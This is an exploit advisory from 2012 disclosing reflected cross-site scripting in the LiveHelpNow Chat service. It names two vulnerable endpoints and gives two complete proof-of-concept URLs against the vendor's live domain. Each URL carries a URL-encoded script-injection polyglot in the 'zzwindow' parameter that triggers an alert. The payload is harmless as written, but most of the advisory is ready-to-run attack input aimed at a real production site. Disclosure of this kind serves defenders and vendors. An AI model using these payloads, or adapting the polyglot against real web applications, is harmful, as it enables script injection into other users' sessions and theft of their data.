LiveHelpNow Chat Cross Site Scripting

# Exploit Title: LiveHelpNow Chat Cross Site Scripting
# Date: 21.02.2012
# Author: Sony
# Software Link: http://www.livehelpnow.net/
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/02/livehelpnow-chat-cross-site-scripting.html
..................................................................

What is LiveHelpNow Chat?

You can read about Chat here:

http://www.livehelpnow.net/


Who use LiveHelpNow?

http://www.livehelpnow.net/images/showcase1.jpg
http://www.livehelpnow.net/images/showcase2.jpg
http://www.livehelpnow.net/images/showcase3.jpg
http://www.livehelpnow.net/images/showcase4.jpg
http://www.livehelpnow.net/images/showcase5.jpg
http://www.livehelpnow.net/images/showcase6.jpg


We have xss in the link :

/lhn/lcv_custom.aspx
/lhn/prechat.aspx

https://www.livehelpnow.net/lhn/lcv_custom.aspx?d=0&ms=&zzwindow=318%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&lhnid=1288&custom1=http%3a%2f%2fwww.barracudanetworks.com%2fns%2f%3fL%3den&custom2=&custom3=&time=2/20/2012%2011:07:52%20AM

http://www.livehelpnow.net/lhn/prechat.aspx?d=0&ms=&zzwindow=0%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&lhnid=3727&custom1=&custom2=&custom3=&time=2/20/2012%2011:25:04%20AM